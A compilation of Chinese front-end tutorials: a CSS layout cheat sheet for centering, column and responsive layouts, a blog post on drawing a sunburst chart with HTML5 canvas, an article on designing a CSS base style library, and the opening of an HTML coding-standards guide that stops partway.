水平居中

水平居中的页面布局中最为常见的一种布局形式，多出现于标题，以及内容区域的组织形式，下面介绍四种实现水平居中的方法（注：下面各个实例中实现的是child元素的对齐操作，child元素的父容器是parent元素）

使用inline-block 和 text-align实现

.parent{text-align: center;}
.child{display: inline-block;}

优点：兼容性好；
不足：需要同时设置子元素和父元素

使用margin:0 auto来实现

.child{width: 200px; margin: 0 auto;}

优点：兼容性好
缺点: 需要指定宽度

使用table实现

.child{display: table; margin: 0 auto;}

优点:只需要对自身进行设置
不足:IE6,7需要调整结构

使用绝对定位实现

.parent{position:relative;}
/*或者实用margin-left的负值为盒子宽度的一半也可以实现，不过这样就必须知道盒子的宽度，但兼容性好*/
.child{position:absolute; left:50%; transform:translate(-50%);}

不足：兼容性差,IE9及以上可用

实用flex布局实现

/*第一种方法*/
.parent{display:flex; justify-content:center;}
/*第二种方法*/
.parent{display:flex;}
.child{margin:0 auto;}

缺点：兼容性差，如果进行大面积的布局可能会影响效率

垂直居中

vertical-align

我们都知道，每个人都有不同的嗜好，有的人喜欢吃甜食，有的人喜欢吃辣的东西，有的人不喜欢吃芹菜，有的人不喜欢吃羊肉等等。CSS中的有些元素也是这样，他们有的只对牛奶感兴趣，有的只喜欢吃坚果和果冻，而讨厌牛奶。而vertical-align呢，是个比较挑食的家伙，它只喜欢吃果冻，从小吃果冻长大，没有了果冻，它就会闹脾气，对你不理不睬。我称之为“果冻依赖型元素”，又称之为“inline-block依赖型元素”，也就是说,只有一个元素属于inline或是inline-block（table-cell也可以理解为inline-block水平）水平，其身上的vertical-align属性才会起作用。我对css-vertical-align的一些理解与认识
在使用vertical-align的时候，由于对齐的基线是用行高的基线作为标记，故需要设置line-height或设置display:table-cell;



/*第一种方法*/
.parent{display:table-cell;vertical-align:middle;height:20px;}
/*第二种方法*/
.parent{display:inline-block;vertical-align:middle;line-height:20px;}

实用绝对定位

.parent{position:relative;}
.child{positon:absolute; top:50%; transform:translate(0,-50%);}

实用flex实现

.parent{display:flex; align-items:center;}

水平垂直全部居中

利用vertical-align,text-align,inline-block实现

.parent{display:table-cell; vertical-align:middle; text-align:center;}
.child{display:inline-block;}

利用绝对定位实现

.parent{position:relative;}
.child{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);}

利用flex实现

.parent{display:flex;justify-content:center;align-items:center;}

多列布局

左列定宽，右列自适应

该布局方式非常常见，适用于定宽的一侧常为导航，自适应的一侧为内容的布局


利用float+margin实现

.left{float:left;width:100px;}
.right{margin-left:100px;}

注：IE6会有3px的bug

利用float+margin(fix)实现



<div class="parent">
    <div class="left"></div>
    <div class="right-fix">
        <div class="right"></div>
    </div>
</div>

.left{width:100px;float:left;}
.right-fix{width:100%;margin-left:-100px;float:right;}
.right{margin-left:100px;}

使用float+overflow实现

.left{width:100px;float:left;}
.right{overflow:hidden;}

overflow:hidden，触发bfc模式，浮动无法影响，隔离其他元素，IE6不支持，左侧left设置margin-left当作left与right之间的边距，右侧利用overflow:hidden 进行形成bfc模式
如果我们需要将两列设置为等高，可以用下述方法将“背景”设置为等高，其实并不是内容的等高

.left{width:100px;float:left;}
.right{overflow:hidden;}
.parent{overflow:hidden;}
.left,.right{padding-bottom:9999px;margin-bottom:-9999px;}

使用table实现

.parent{display:table;table-layout:fixed;width:100%;}
.left{width:100px;}
.right,.left{display:table-cell;}

实用flex实现

.parent{display:flex;}
.left{width:100px;}
.right{flex:1;}

利用右侧容器的flex:1，均分了剩余的宽度，也实现了同样的效果。而align-items 默认值为stretch，故二者高度相等

右列定宽，左列自适应

实用float+margin实现

.parent{background:red;height:100px;margin:0 auto;}
.left{background:green;margin-right:-100px;width:100%;float:left;}
.right{float:right;width:100px;background:blue;}

使用table实现

.parent{display:table;table-layout:fixed;width:100%;}
.left{display:table-cell;}
.right{width:100px;display:table-cell;}

实用flex实现

.parent{display:flex;}
.left{flex:1;}
.right{width:100px;}

两列定宽，一列自适应



基本html结构为父容器为parent,自容器为left,center,right.其中，left,center定宽，right自适应

利用float+margin实现

.left,.center{float:left:width:200px;}
.right{margin-left:400px;}

利用float+overflow实现

.left,.center{float:left:width:200px;}
.right{overflow:hidden;}

利用table实现

.parent{display:table;table-layout:fixed;width:100%;}
.left,.center,.right{display:table-cell;}
.left,.center{width:200px;}

利用flex实现

.parent{display:flex;}
.left,.center{width:100px;}
.right{flex:1}

两侧定宽，中栏自适应



利用float+margin实现

.left{width：100px;float:left;}
.center{float:left;width:100%;margin-right:-200px;}
.right{width:100px;float:right;}

利用table实现

.parent{width:100%;display:table;table-layout:fixed}
.left,.center,.right{display:table-cell;}
.left{width:100px;}
.right{width:100px;}

利用flex实现

.parent{display:flex;}
.left{width:100px;}
.center{flex:1;}
.right{width:100px;}

一列不定宽，一列自适应



利用float+overflow实现

.left{float:left;}
.right{overflow:hidden;}

利用table实现

.parent{display:table;table-layout:fixed;width:100%;}
.left{width:0.1%;}
.left,.right{display:table-cell;}

利用flex实现

.parent{display:flex;}
.right{flex:1;}

多列等分布局

多列等分布局常出现在内容中，多数为功能的，同阶级内容的并排显示等。



html结构如下所示

<div class="parent">
    <div class="column">1</div>
    <div class="column">1</div>
    <div class="column">1</div>
    <div class="column">1</div>
</div>

实用float实现

.parent{margin-left:-20px}/*假设列之间的间距为20px*/
.column{float:left;width:25%;padding-left:20px;box-sizing:border-box;}

利用table实现

.parent-fix{margin-left:-20px;}
.parent{display:table;table-layout:fixed;width:100%;}
.column{display:table-cell;padding-left:20px;}

利用flex实现

.parent{display:flex;}
.column{flex:1;}
.column+.column{margin-left:20px;}

九宫格布局

使用table实现

<div class="parent">
        <div class="row"><div class="item"></div><div class="item"></div><div class="item"></div></div>
        <div class="row"><div class="item"></div><div class="item"></div><div class="item"></div></div>
        <div class="row"><div class="item"></div><div class="item"></div><div class="item"></div></div>
    </div>

.parent{display:table;table-layout:fixed;width:100%;}
.row{display:table-row;}
.item{display:table-cell;width:33.3%;height:200px;}

实用flex实现

<div class="parent">
<div class="row"><div class="item"></div><div class="item"></div><div class="item"></div></div>
<div class="row"><div class="item"></div><div class="item"></div><div class="item"></div></div>
<div class="row"><div class="item"></div><div class="item"></div><div class="item"></div></div>
</div>

.parent{display:flex;flex-direction:column;}
.row{height:100px;display:flex;}
.item{width:100px;background:red;}

全屏布局



利用绝对定位实现

<div class="parent">
<div class="top">top</div>
<div class="left">left</div>
<div class="right">right</div>
<div class="bottom">bottom</div>
</div>

html,body,parent{height:100%;overflow:hidden;}
.top{position:absolute:top:0;left:0;right:0;height:100px;}
.left{position:absolute;top:100px;left:0;bottom:50px;width:200px;}
.right{position:absolute;overflow:auto;left:200px;right:0;top:100px;bottom:50px;}
.bottom{position:absolute;left:0;right:0;bottom:0;height:50px;}

利用flex实现

<div class="parent">
<div class="top">top</div>
<div class="middle">
<div class="left">left</div>
<div class="right">right</div>
</div>
<div class="bottom">bottom</div>
</div>

.parent{display:flex;flex-direction:column;}
.top{height:100px;}
.bottom{height:50px;}
.middle{flex:1;display:flex;}
.left{width:200px;}
.right{flex:1;overflow:auto;}

响应式布局

meta标签的实用

设置布局宽度等于设备宽度，布局viewport等于度量viewport

<meta name="viewport" content="width=device-width,initial-scale=1">

媒体查询

HTML 4和CSS 2目前支持为不同的媒体类型设定专有的样式表, 比如, 一个页面在屏幕上显示时使用无衬线字体, 而在打印时则使用衬线字体, screen 和 print 是两种已定义的媒体类型, 媒体查询让样式表有更强的针对性, 扩展了媒体类型的功能;媒体查询由媒体类型和一个或多个检测媒体特性的条件表达式组成, 媒体查询中可用于检测的媒体特性有width、height和color（等）, 使用媒体查询, 可以在不改变页面内容的情况下, 为特定的一些输出设备定制显示效果。



语法
@media screen and (max-width:960px){....}
<link rel="stylesheet" media="screen and (max-width:960px)" href='xxx.css' />


 HTML5，不只是看上去很美 （第一弹：彩虹爆炸图）

作者：MonoLog

来源： HTML5，不只是看上去很美 （第一弹：彩虹爆炸图）



                    
前言


25年过去了，Brooks博士著名的“没有银弹”的论断依旧没有被打破。HTML5也是一样。但这并不妨碍HTML5是一个越来越有威力的“炸弹”：发展迅速、势不可挡。随着HTML5技术的普及，用HTML5做可视化呈现的项目越来越多了。HTML5的优势明显：网页上直接运行无需插件、手机平板方便兼容、代码开发和维护相对容易，等等。一大波一大波的做Java、.NET甚至C++桌面的程序老手们都纷纷开始研究javascript了，而初出茅庐的新一代程序猿更是义无反顾的直奔HTML5这个技术大热点而来。


HTML5涵盖的技术点很多，甚至延伸到了前端、后端、通讯等各个层面。前端的canvas绘图这块无疑是它的核心内容。Canvas的API虽然不是很复杂很强大，但是做一般的2d绘图基本都够用了。基于这些API，一大堆的2d绘图组件纷纷出炉。Echarts、d3.js都是很不错的项目。Echarts主要是chart组件，而d3相对杂一些，很多呈现方式很有创意，值得研究。


概述


研究d3的起因是最近有一个项目，用户截了一张效果图让我们用HTML5做一下：





看着很眼熟，搜了一下，感觉就是d3例子中的sunburst效果，程序在这里：



  http://bl.ocks.org/mbostock/4063423




看上去似乎也不难，就是一圈一圈的饼图，把树状结构数据按占比一层一层绘制上去就行了。所以引起了自己动手做一个的兴趣。“sunburst”英文里应该是“云开日出”的意思，类似强烈的光芒从云层背后透射出来，不知为何中文里大多把它翻译成“日落”。比如这把Fender Telecaster吉他型号是Brown Sunburst款，就会被大家翻译成“日落色”。





关于日出和日落更喜欢哪一个的问题，网上还真有这样的调查。有意思的是，选择喜欢日落的远多于选择日出的。日出代表希望，日落代表成熟，都是一种美，哪个更美要看你个人的心境，因为它的美丽是由心生。为了不在这个问题上站错对，我们还是给他重新起一个更加响亮霸气的中文名字：“彩虹爆炸图”，怎么样？


仔细研究一下彩虹爆炸图的结构，无非就是一个树形结构，并采用发射状的布局。根节点在中间（也可以认为没有唯一的根，而是一堆根节点围绕在第一圈），一次向外发散排列。每一个节点有名称、数值。节点可以按照自身数值在扇区所占比例进行绘制，这样就不用管节点具体数值有多大多小了。



  这种图最先是由布朗大学教授John T. Stasko设计。
http://www.cc.gatech.edu/~john.stasko/




经过一天的折腾，终于做出了一个还算过得去的“彩虹爆炸图”。先上个图看看：



主要功能包括了：

•   可以通过json来定义数据和样式（类似百度的echarts那样）；

•   颜色可以固定，也可以自动彩虹色；

•   自动计算数值及角度占比；

•   动态显示导航路径；

•   鼠标动态高亮显示路径；

•   动画飞入、展开导航路径；

•   文字显示及角度控制；

•   全矢量，可鼠标缩放、平移，不失真；


下面重点码一下折腾过程中的几个重点：


一、定义节点对象


首先定义每一个小扇片节点。每个扇片可以用一段饼图来绘制。为了简单方便，这里用了最简单高效偷懒的方法：用一个半径很粗的线画一段角度的arc，即可。如下图：





另外还有文字等内容。所以定义它的json结构大概如下：


javascriptvar  item = {name: '名称', color: 'red', angle: '45', …};



此外，下一圈的数据，可直接定义为这个节点的“孩子节点”，直接在item中定义一个data的子节点数据：


javascriptvar  item = {name: '名称', color: 'red', angle: '45', data:[
    {name:’孩子一’, color:’green’,…},
    {name:’孩子二’, color:’yellow’,…},
]};




这样就可以组成一个树状结构。接下来要在canvas上绘制图形了。为了方便，这里直接使用了矢量图进行定义：


javascripttwaver.Util.registerImage('node', {    
  v: [{
    shape: 'circle',
    r: ...
    lineColor: function(data,view){return data.getClient("lineColor");},     
    lineWidth: ...
    startAngle: ...
    endAngle: ...
  },{
    shape: 'text',
    textBaseline: 'middle',
    textAlign: ...
    text: ...
    x: ...
    y: ...
    font: ...
    fill: ...
    rotate: ...
    visible: ...
    shadow: ...
  }],
});  




矢量图中定义了2个图形元素：一个arc弧线、一个文字对象，分别用于画node和绘制其文字。颜色、字体、是否可见、阴影、对齐、位置、线宽、角度…等等均在上面的定义中用一个function动态获取。例如，这个节点的半径，通过下面的方法，就可以在图形的lineColor属性中保存并驱动，需要修改，直接修改lineColor这个client属性即可，而不用去修改绘图参数，非常方便：


javascriptr:function(data,view){return data.getClient("lineColor");}



这里有一个比较啰嗦的地方是：每个扇片的角度需要根据每个item定义的原始值进行计算角度占比。而且，对于太小的扇片，可以给一定的最小值（例如1度），保证能视觉上看到它。否则，显示10000和1两个数值，由于对比过大，可能就杯具了，因为1连1度都占不到，显示效果会非常差。还有，每个扇片之间应该尽量留有一定的空隙。如果连续绘制，就会连成一片，没有“分片”感。这些可以在代码中进行简单控制。


二、文字控制


文字控制也比较啰嗦。首先是对齐方式。最简单的方式当然是让文字在所在扇片处，直接居中、旋转。这样文字会在径向的中间位置，如下图。





但这样显示感觉并不是很完美。对于中文来说，如果能统一靠近圆心方向的位置对齐，会更好看一些。这样，即使文字过长，也会向外延伸，不会和里面的重叠。如下图：





还有，当文字在左半圆时，如果不做特殊处理，文字旋转会导致文字大头朝下，阅读起来有把脖子歪断的风险。所以应该动态判断，如果文字在左侧，应该文字再增加旋转180度。同时左侧的文字对齐也要特殊考虑，应该变成右对齐，才能保持径向的整齐一致。





文字还有一个细节就是颜色和阴影的问题。不使用阴影，单纯的使用颜色（例如白色），则在一些方向上的节点的文字会看不清楚，因为我们做的是彩虹爆炸图，各个方向颜色都不一样，而且还会随着圈数增加而变淡颜色，所以几乎不可能用一个固定的颜色（例如白色或黑色）能保证文字在所有地方都能和node颜色搭配并看清楚。所以思来想去还是使用了阴影效果。


联想了一下我们看美剧时候的字幕，似乎也是同样的问题。视频字幕要显示在千变万化的视频场景里面，视频场景的颜色完全随机出现无从知晓，要想让字幕看清楚，必然也会想一些办法解决。我们仔细观察一下视频字幕：





仔细观察，字幕是白色文字加了一圈黑色外框，这样就不怕任何场景了。我们在文字定义时也模拟一下，设置阴影和阴影偏移试一试：


javascriptfill:'white',
            shadow: {
                offsetX: 2,
                offsetY: 2,
                blur: 4,
                color: 'black',
            },



看一下使用前和使用后的效果对比：





使用阴影后不但文字更清晰了，而且也增加了立体感，效果还是不错的。下面图显示在应用在节点上的效果：





可见不论什么颜色，都能比较好的勾勒出文字轮廓，保持清晰可读。


三、生成彩虹颜色


关于颜色，是一个有趣的话题。对于广大程序猿来说，颜色是一个既简单又困难的东西。我们随手就能写下’red’, ‘green’, ‘orange’, ‘yellow’这样的色彩斑斓的颜色，还能保证没有语法错误；我们还会写’#FF55AA’、’#0c0’、’RGB（0,204,0）’、’ RGB（0％，80％，0％）’这样的各种颜色写法；我们也明白RGBA的含义和用途。但是，我们很少能把一个demo写的颜色很好看、很搭配。关于颜色和配色以后再专门讨论。这里我们只想自动生成一圈彩虹一样的颜色。用我们熟悉的RGB方法好像比较困难了。于是想起了那个HSV的颜色定义方法，它貌似很适合解决这个问题。



  HSV颜色模型定义了色调H、饱和度S和亮度V，由A. R. Smith在1978年创建的一种颜色空间。其中H用一圈360度表示所有颜色，从红色开始按逆时针方向计算，红色为0度。饱和度S从0到1，越大越饱和。亮度V从0到255（也可以转换为从0到1，方便使用），越大越明亮，越小越暗淡。







Js里面并没有直接处理HSV颜色的函数。不过用下面的代码很方便可以从hsv转为rgb：





写一个对应的js函数也很简单：


javascript    /* h, s, v (0 ~ 1) */
    function getHSVColor(h, s, v) {
        var r, g, b, i, f, p, q, t;
        if (h && s === undefined && v === undefined) {
            s = h.s, v = h.v, h = h.h;
        }
        i = Math.floor(h * 6);
        f = h * 6 - i;
        p = v * (1 - s);
        q = v * (1 - f * s);
        t = v * (1 - (1 - f) * s);
        switch (i % 6) {
            case 0: r = v, g = t, b = p; break;
            case 1: r = q, g = v, b = p; break;
            case 2: r = p, g = v, b = t; break;
            case 3: r = p, g = q, b = v; break;
            case 4: r = t, g = p, b = v; break;
            case 5: r = v, g = p, b = q; break;
        }
        var rgb='#'+toHex(r * 255)+toHex(g * 255)+toHex(b * 255);
        return rgb;
    }



再回到我们的彩虹爆炸图。每一个节点对应的所在角度（中心角度）决定了它自己的颜色值。所以，我们可以直接根据这个角度得到颜色的h。然后，为了让彩虹逐渐一圈一圈变淡，再把s饱和度从1逐圈递减（例如0.1），产生变淡的效果。为了防止圈太多最后看不清，减到0.2到0.3左右可以停止递减。


javascriptvar fromAngle=node.getClient(‘fromAngle’);
var toAngle=node.getClient(‘toAngle’);
var level=node.getClient(‘level’);//节点在第几圈
var h = (fromAngle+to)/2 % 360 /360; //中心角度，并转换为弧度
var s = Math.max(0.2, 1-level*0.1);//每圈s递减0.1，直到0.2为止
var v=1;
var color=getHSVColor(h, s, v);



这样就获得了一圈颜色。实验效果如下：





如果相对某个节点的颜色做特殊处理，例如强制为橙色来凸显，我们可以在数据中定义时加个标记，设置颜色时候直接使用而不用计算即可。


javascript{name:'浦东新区', value: 2600, color: '#FE9A2E'}



接下来要实现鼠标划过节点，自动计算路径、高亮路径节点、暗淡非路径节点。为了方便路径寻找，程序把每个节点的下一圈子数据定义为子节点，子节点通过getParent()函数可以直接获得父对象。这样，通过不断getParent就可以获得整个路径上的节点，并修改其颜色为预设颜色，实现高亮效果：


javascript        var node=highlightedNode;
        while(node){            
            node.setClient(‘color’, node.getClient(‘color.original’));
            node=node.getParent();
        }



对于非路径节点的颜色，可以设置为预设颜色但饱和度为0.1的淡颜色 ，让它变淡，以便突出高亮路径：


javascriptvar color = getHSVColor(h, 0.1, v);
node.setClient(‘color’, color);



四、动画效果


最后，为了图形更生动，使用了一些动画效果。首先想到的就是图形出来时候，用动画从小到大发散开来，会很动感。这样做需要用动画函数来驱动每一个节点的半径位置，从0增加到所在的半径位置，如果大家一起设置，整个图就会动起来。这里用了一个动画函数来驱动，并使用了网上常用的easing函数来控制，避免线性的动画太死板：


javascriptnew Animate({
    from: 0,
    to: 1,
    dur: 3000+level*100,
    easing: 'elasticOut',
    onUpdate: function (value) {
        node.setLocation('pie.location’, value);
    },
}).play();  



上面定义的动画，用3秒钟跑完，用'elasticOut'的easing方式。每一帧，修改node的位置信息。这样就完成了橡皮筋一样的环形弹出散开效果。


另外，导航条的出来也比较突兀，这里也使用一下动画，让它从左到右慢慢伸出：


javascriptnew Animate({
    from: {x:x1, y:y1},
    to: {x:x2, y:y2},
    delay:50,
    type: 'point',
    dur: 1000,
    easing: 'bounceOut',
    onUpdate: function (value) {                    
        node.setCenterLocation(value.x, value.y);
    },
}).play();  



和上一个动画的不同之处在于这里使用了{x、y}的point结构，每一帧直接更新节点位置。同时设置了50毫秒的delay，让动画有一点点粘性停滞，不至于太突兀。效果不错。





至此，彩虹爆炸图基本上就做的差不多了。使用起来也很简单，只要准备一些json数据就可以了，下面是一些有趣的数据做出来的效果。感兴趣的同学可以邮件info@servasoft.com索取代码。





实际应用在项目中的示意图。如果你也希望项目中用一下彩虹爆炸图，欢迎给我私信索取:info@servasoft.com








 关于CSS Reset 那些事（四）之 构架CSS基础样式库

作者：alsiso

来源： 关于CSS Reset 那些事（四）之 构架CSS基础样式库



                    
前言


先来回顾一下前几章节，我们都说了哪些内容：



	CSS Reset 历史 与 Normalize.css 介绍

	Normalize.css 源码解读

	Normalize-zh.css 出炉



围绕着CSS Reset这个话题我们已将讲了3章节，从中了解到CSS Reset的作用，Normalize.css的优势，以及它是如何帮我修复跨浏览器的兼容性问题的；


这一章节内容会弱化CSS Reset的主题，不是因为这章节与CSS Reset无关了，而是因为我们要基于它去扩展更多的内容，来帮助我们解决实际开发中更多的问题。


现在回到我们这一章节的标题，将它做下补充：



  《关于CSS Reset 那些事（四）之 基于CSS Reset 构架CSS基础样式库》




CSS 基础库构思


为什么要做基础库


我上一章节的末尾抛出了几个问题：


1.假设你要做一个游戏单页面，网页上并不存在表单内容，那么你就要移除一些冗余的代码，开始自定义Normalize.css样式来满足自己的需求。


2.假设你要做一份文案策划的网页，包含很多文字排版时，此时Normalize.css也许并不完全适合你，因为它的默认字体设置和排版布局可能不能满足你的要求。


3.假设你要做一个企业类型的网站，并考虑跨浏览器兼容性，网站包含内容元素也很丰富，那么你可以选择使用Normalize.css来统一你的浏览器样式，但是它仅仅帮助我们解决了样式统一的问题是不够的，你是不是还要设计一套布局系统，来解决该网站的布局问题呢？


从以上几个问题可以看出，在构建大型网站的时候，我们可以把Normalize.css作为基础样式，然后根据不同的页面需求，进行添加样式覆盖它。


但是这只是我们的第一步，关于网页开发中更多的基础解决方案还有很多，比如刚刚说的布局系统，或许你还会用到很多常用的CSS问题解决方法，如浮动和清除浮动，自适应两端对其等等。


那么下一节，我们就来分析一下CSS 基础库到底包含什么内容？


什么是基础库


我认为基础样式库 始终 能帮我们解决开发时遇到的一些基础性问题：



	如浏览器样式不统一，需要重置样式；

	如基础表单样式过于难看不易操作，需要优化其样式；

	如布局样式需要重复编写，需要一套稳定复用的解决方案； 

	如一些样式的浮动，对齐操作，需要统一管理起来进行多次复用；

	如常见的CSS动画效果，需要统一起来管理方便复用；

	如一些常用的图标，需要一套可复用的字体图标；

	如需要打印，提供一套更为合理的打印样式



基础库初衷和未来方向：



	最大程度减少开发难度

	提供简洁高效开发体验

	趋于模块化样式构建规范

	做为未来UI组件库核心基础

	始终站在巨人肩上



基础库的结构


normal.css   [基于Normalize.css自定义模块，继承其优势，改善文字与部分细节]
html5.css    [html5样式修复，默认会导入normal.css，可按需引用]
form.css     [表单的一些基础样式，可按需引用]   
grid.css     [响应式网格系统，优化命名与精简代码，可按需引用]   
utils.css    [HTML中直接使用的工具类，可按需引用] 
iconfont.css [一套复用率极高的字体图标，可按需引用] 
animate.css  [常用的动画效果组合，可按需引用] 
print.css    [优化默认的打印样式，可按需使用]



我们按照需求，初步划分了基础样式库的结构，起初html5.css的内容是考虑直接放在normal.css里面的，但是为了考虑一部分人在页面中使用了像html5shiv的解决方案来兼容低版本浏览器，所以这里就体现出了分模块的便捷性，拆分为一个独立的css文件，需要时再进行使用，不过这里默认使用@import "html5.css"进行导入只是为了预览调试，请在实际使用中将代码拷贝至normal.css，或者使用yuicompressor进行压缩合并后再使用。


下一节我们来细化基础样式库的内容，看一看它都需要帮我们做哪一些事情。


CSS 基础库内容


样式重置方案 normal.css


Normalize.css不仅统一了样式，还保留元素的可辨识性，这是我们应该继承和发扬的优点，normal.css也会参考借鉴Normalize.css所有优势，不过为了让其更简洁，让开发者更容易上手，我选择对它进行瘦身，比如移除一些不会用到的元素标签hgroup，将一些元素进行分模块管理，比如html5.css，form.css等，方便按需求灵活引用。


normal.css 包含内容以及调整部分



	字体约定62.5%，方便单位转换

	统一元素的内外边距

	设置全局字体，修复表单元素不继承父级font的问题

	添加链接基本样式

	移除列表元素的默认标识

	移除元素默认边框

	移除链接默认的下划线

	移除单元格间距让其边重合 

	修复th不继承text-align，默认左对齐

	重置标题，采用自定义

	把所有斜体标签默认扶正

	统一引用标记

	统一上标和下标



HTML5元素 html5.css


html5.css主要是用于解决html5新元素在旧浏览器中的不识别，并且修复一些元素存在的隐性问题。


但是为什么不把html5.css这部分内容直接放入normal.css，而是考虑将其进行分模块管理呢？ 是为了考虑一部分人在页面中已经使用了像html5shiv的解决方案来兼容低版本浏览器，所以这里就体现出了分模块的灵活性，拆分为一个独立的css文件，需要时再进行使用。


不过这里默认使用@import "html5.css"进行导入只是为了预览调试，请在实际使用中将代码拷贝合并至normal.css，或者使用yuicompressor，Grunt进行压缩合并后再使用。


html5.css 包含内容以及调整部分



	修复HTML5新元素不能正确显示的问题

	修复progress元素的对其问题

	修复没有controls属性的audio显示出来

	修复hidden属性不起作用的问题

	修复svg元素overflow不正常的问题

	统一mark标签的样式

	修复拖动元素添加拖动的光标



表单元素  form.css


form.css修复表单元素在不同浏览器下的默认样式，尤其是IE低浏览器版本下的一些怪异问题；并且还修复了一些表单显示状态，致力于提升用户体验；


button按钮在网页中是最常用的基础元件，但是不同浏览器下按钮的默认样式千奇百怪，而且表现形式过于单一，所以考虑在form.css里内置了一套按钮组件，提供几种表现场景，并且可以和下面要介绍的iconfont.css搭配使用。


form.css 包含内容以及调整部分



	统一fieldset元素的显示样式

	修复'legend'元素的若干问题

	修复表单元素字体与字号不继承的问题

	统一表单元素的垂直对其方式

	统一表单元素的overflow属性为visible

	重置按钮禁用时光标样式

	修复checkbox,radio的属性box-sizing: border-box;


	统一button,input内边距和内边框

	统一select的样式

	修复textarea只能为纵向拉伸



ui-btn 按钮组件包含的内容



	初始化默认按钮样式，增加不同状态下的效果

	提供多种场景按钮，如主要，警告与错误

	提供可定制的大小按钮，如较小，更小，一般，较大，更大

	提供组合式按钮

	支持iconfont.css，搭配图标按钮使用



使用示例


<button type="button" class="ui-btn">默认</button>



栅格系统  grid.css


借鉴了Bootstrap的一套响应式流式栅格布局系统，随着屏幕或视口（viewport）尺寸的增加，系统会自动分为最多12列。


对栅格系统的样式命名进行重新组织，简化和移除工具代码，只保留核心布局样式。
简洁即是高效率。


grid.css 包含内容以



	
.ui-grid-container(固定宽度)和.ui-grid-fluid(100%宽度)用于包裹.ui-row


	
.ui-grid-container(固定宽度)通过媒体查询来实现响应式宽度

	
.ui-row用于包裹一组.ui-col-1-.ui-col-12列

	
xs,sm,lg通过媒体查询来实现响应式

	
.ui-col-xs-* 超小屏幕 手机 (<768px)

	
.ui-col-sm-* 小屏幕 平板 (≥768px)

	
.ui-col-*    (默认)中等屏幕 桌面显示器 (≥992px)

	
.ui-col-lg-* 大屏幕 大桌面显示器 (≥1200px)

	支持列嵌套，必须包裹在.ui-row行中

	简化代码，不支持列偏移，列排序



使用示例


<div class="ui-grid-fluid">


<div class="ui-row">
      <div class="ui-col-8">.ui-col-8</div>
      <div class="ui-col-4">.ui-col-8</div>
  </div>


</div>



辅助工具  utils.css


提供最常用的功能类class，命名使用fn-前缀来进行区别表示，如果在项目中能够灵活复用这些类，那将大大提升开发效率。


utils.css 包含内容以及调整部分



	浮动元素与清楚浮动元素

	垂直与水平滚动

	元素显示类型

	元素与文本隐藏

	文本不换行

	文本强制换行

	文本溢出显示省略号

	文本左右对齐

	文本垂直对齐

	常用符号(关闭，箭头，下三角等)

	自适应两端对齐

	未知高度垂直居中

	列表平铺



使用示例


<!-- 文字溢出显示省略号 -->
<div class="fn-text-ellipsis">文字那是相当的长</div>



字体图标  iconfont.css


iconfont都已经很熟悉了，是一种把图标放入自定义字体中，然后使用字体图标来替代普通图标的技术，使用起来方便灵活。


iconfont.css 包含内容以及调整部分



	提供网页中66个最常用的字体图标

	可搭配form.css按钮组件使用






使用示例


<button class="ui-btn"><b class="iconfont">&#126;</b>提交</button>



动画库  animate.css


CSS3的动画让网页变的更加有活力，所以这里引入一套CSS3动画库，可以通过简单的引用类名的方式在你的项目中实现最常见的动画效果。


animate.css 包含内容以及调整部分



	弹跳

	闪烁

	摇动

	淡入 (up,down,left,righ)

	淡出 

	滑入 (up,down,left,righ)

	滑出



使用示例


<div class="animated fadeIn">
    淡入效果
</div>



打印  print.css


可以优化打印出的网页更适合浏览，并且加快打印速度，节省打印机耗材。


print.css 包含内容以及调整部分



	修复打印时的背景和文字颜色

	删除所有的阴影效果

	标注超链接，并显示URL链接



CSS 基础库的产出


项目地址


通过对以往开发中遇到问题的总结，以及对CSS基础库的需求进一步细化，当我们明确的知道需要什么了以后，从参考业内最优秀的CSS框架，到提取出能够解决我们实际问题的代码；从以往的开发经验中整理出最高效复用的方案，再到一次次的“取之精华去之糟粕”； 最终这篇文章有了产出：


项目名称：Koala - 更简洁高效的基础样式库

项目版本：alpha（内部测试与学习参考使用）

项目地址：https://github.com/Alsiso/Koala

项目交流：New issue


欢迎大家Fork代码，提出问题与意见，一起进行学习交流 ~


最后再说明一点：当前版本并不是正式生产版，所以还不能完全应用到项目中，目前仅供学习参考使用，部分的细节完善和优化还在进行中，如果你有意见和问题，欢迎随时联系：chyi722到163.com


后续的扩展


CSS基础样式库只是前端解决方案中最小的一个分支，其实我们还可以完善更多的内容来帮助解决前端开发中所有的问题，就犹如下面这个表格。




	分层
 	结构层+表示层
 	行为层
 


	
 	html+css
 	js
 


	基础库
 	normal/grid/utils/scss扩展/
 	jquery/base/seajs/
 


	组件
 	元件/静态组件
 	ui组件/业务组件
 


	模块
 	html/css/js(基础库+组件)
  




后续会持续跟进完善内容，致力于让前端开发变得更简单，高效，稳定，也让我们的工作生活变的像Koala一样，每天拥有18个小时的睡眠时间~


至此《关于CSS Reset 那些事》的系列文章已经完结了，感谢大家关注Alsiso，后续也会以这种方式来分享学习成果与方法。



	关于CSS Reset 那些事（一）之 历史演变与Normalize.css

	关于CSS Reset 那些事（二）之 Normalize.css 源码解读

	关于CSS Reset 那些事（三）之 Normalize-zh.css 出炉




 HTML项目代码编写规范

作者：pantao

来源： HTML项目代码编写规范



                    
如果本文档中有任何错误的、不符合行规的，敬请斧正。


引言



  不管有多少人共同参与同一项目，一定要确保每一行代码都像是同一个人编写的。




若您对本文档中任何内容有不明白的，或者感觉不合行规的，请您按以下格式向我邮件说明，同时也欢迎任何人参与讨论，共同完善本文档。本文档中很多也是根据我自己现在的公司需求来定的。



  邮件不是QQ，请尽可能清晰的组织你的语言，将问题描述得更清楚，同时，不要使用过多的样式化，合乎文档排版标准，谢谢。




项目文件结构


前端项目文件结构


前端项目统一按以下目录结构管理项目文件：


/path/to/PROJECT_NAME/
  scss/
    base.scss
    main.scss
    _module_name.scss
  scripts/
    build.js
  gulp.js
  build/
    vendor/
      THIRD_PARTY_LIBRARY_NAME/
        VERSION/
          MINIFIED_FILE_NAME/
    assets/
      css/
        base.min.css
        base.min.map
        main.min.css
        main.min.map
      img/
        logo.png
        logo@2x.png
        logo@3x.png
      js/
        main.min.js
        main.min.map
    index.html
    layout.html
    PAGE_NAME.html
  template/
    vendor/
      THIRD_PARTY_LIBRARY_NAME/
        VERSION/
          MINIFIED_FILE_NAME/
    assets/
      css/
        base.css
        main.css
      img/
        logo.png
      js/
        main.js
    index.html
    layout.html
    PAGE_NAME.html



在上面的目录结构中，大写的名称为可变的，即根据具体需求随时更换，它们的语义分别为：



	
PROJECT_NAME


